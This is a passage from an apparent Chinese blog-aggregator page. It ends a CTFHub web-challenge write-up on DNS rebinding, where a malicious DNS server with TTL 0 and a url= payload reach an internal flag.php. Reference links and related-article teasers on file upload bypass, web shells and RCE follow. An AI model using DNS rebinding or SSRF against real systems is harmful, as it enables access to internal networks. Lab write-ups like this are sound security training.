附件中讲的很清楚,由于我们无法在程序运行时以毫秒为单位手动更改DNS记录,所以要想实现DNS重绑定攻击,就必须配置一个自定义的恶意DNS服务器,并设定好指定域名的解析IP,再将TTL设置为0,使其解析时在非法内网IP与合法其他IP间反复横跳。我们可以自己编写解析服务,也可以利用测试dns重绑定漏洞的网站,让一个域名随意绑定两个IP。

ctfhub技能树web,网络安全,安全,计算机网络,web安全

构造payload:url=指定域名/flag.php,成功得到flag。

ctfhub技能树web,网络安全,安全,计算机网络,web安全

参考文章:

(4条消息) ctfhub 技能树 信息泄露 git泄露_github技能树git泄露_haoxue__的博客-CSDN博客

(4条消息) CTFHUB技能树(全详细解析含进阶)_無名之涟的博客-CSDN博客

(4条消息) CTFHUB技能树SQL注入整数型和字符型注入_!__ !的博客-CSDN博客

https://blog.csdn.net/weixin_63231007/article/details/124847164

https://blog.csdn.net/qq_45927819/article/details/123400074文章来源地址https://www.toymoban.com/news/detail-780940.html

到了这里,关于CTFHUB技能树——web篇的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 计算机网络的故事——确保Web安全的Https

    1、明文传输 通信加密,HTTP协议中没有加密机制,但是可以通过SSL(Secure Socket Layer,安全套接字层)或TLE(Transport Layer Security安全层传输协议)的组合使用,加密HTTP的通信内容 2、不验证通信方的身份(可能会遭到伪装) 内容加密:将HTTP报文里所含的内容进行加密之后进行传输

    2024年02月09日
    浏览(61)
  • CTFHub-Web-文件上传

    目录 知识点 一、无验证 二、前端验证 三、.htaccess 1、题目简介 2、解题思路 3、解题:上传htaccess文件==》上传符合我们重新后规则的文件==》蚁剑连接 四、MIME绕过 1、知识点 2、解题思路  五、文件头检查 六、00截断 1、知识点:PHP 5.2 00截断上传的原理 2、题目简介 3、解题

    2024年02月14日
    浏览(39)
  • CTFHub笔记之技能树RCE:eval执行、文件包含、远程包含、php://input、读取源代码

    小白一个,记录解题过程,如有错误请指正! 知识点:         eval():把字符串 code 作为PHP代码执行。函数eval()语言结构是非常危险的,因为它允许执行任意 PHP 代码。它这样用是很危险的。如果您仔细的确认过,除了使用此结构以外别无方法, 请多加注意,不要允许传入

    2024年02月01日
    浏览(47)
  • CTFHub-Web-信息泄露-Git泄露

    目录 一、Log 1、题目介绍 2、知识储备 3、解题步骤 (1)、查看页面 (2)、dirsearch扫描目录 (3)、Githack扫描  (4)、git log历史查询 (5)、获取flag 二、Stash 1、知识储备: 2、githack扫描 3、获取flag  三、Index 1、知识储备 2、dirsearch扫描 3、获取flag  四、个人感悟 (1)、

    2024年02月12日
    浏览(35)
  • CTFHUB_web_密码口令_默认口令

    常见web系统默认口令总结 常见网络安全设备弱口令(默认口令)

    2024年02月10日
    浏览(37)
  • 2023年第三届陕西省大学生网络安全技能大赛 web部分 wp

    总体来说还行,就是又感受到了py的成分,多的不说,星盟出的题,题目质量还是可以的,希望之后通过学习大佬的姿势来长长见识。 目录 EZPOP  RCE unserialize 首先来到页面   点击,就是空白页,查看源代码 F12都会进入空白页,猜测存在js在搞怪。 先打开一个空白页,再f12,

    2024年02月10日
    浏览(50)
  • [第七届蓝帽杯全国大学生网络安全技能大赛 蓝帽杯 2023]——Web方向部分题 详细Writeup

    你真的熟悉PHP吗? 源码如下 首先要先解决传参 my_secret.flag 根据php解析特性,如果字符串中存在 [、. 等符号,php会将其转换为 _ 且只转换一次 ,因此我们直接构造 my_secret.flag 的话,最后php执行的是 my_secret_flag ,因此我们将前面的 _ 用 [ 代替,也就是传参的时候传参为 my[s

    2024年02月10日
    浏览(45)
  • 【网络安全】网络安全基础必备技能

    👉博__主👈:米码收割机 👉技__能👈:C++/Python语言 👉公众号👈:测试开发自动化【获取源码+商业合作】 👉荣__誉👈:阿里云博客专家博主、51CTO技术博主 👉专__注👈:专注主流机器人、人工智能等相关领域的开发、测试技术。 网络安全(Cybersecurity)是一个广泛的领域

    2024年02月08日
    浏览(40)
  • 计算机网络 网络安全

    计算机网络面临的女全性威胁 计算机网络的通信而临两大类威胁,即被动攻击和主动攻击 被动攻击是指攻击者从网络上窃听他人的通信内容。通常把这类攻击称为截获。在被动攻击中,攻击者只是观察和分析某一个协议数据单元 PDU (这里使用 PDU 这一名词是考虑到所涉及的

    2024年01月20日
    浏览(47)
  • 计算机网络】网络安全 : 计算机网络安全威胁 ( 四种网络攻击类型 | 主动攻击与被动攻击 | 分布式拒绝服务攻击 DDos | 恶意程序 | 计算机网络安全目标)

    一、网络安全内容 网络安全内容 : 网络安全概述 对称加密 和 非对称加密 体质 数字签名 因特网安全协议 链路加密 与 端到端加密 防火墙 二、四种网络攻击 四种网络攻击 : ① 截获 : 窃听 其它的 通信内容 , 不影响网络通信 ; ② 中断 : 中断 他人 的网络通信 ; ③ 篡改 : 篡改

    2024年02月12日
    浏览(53)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包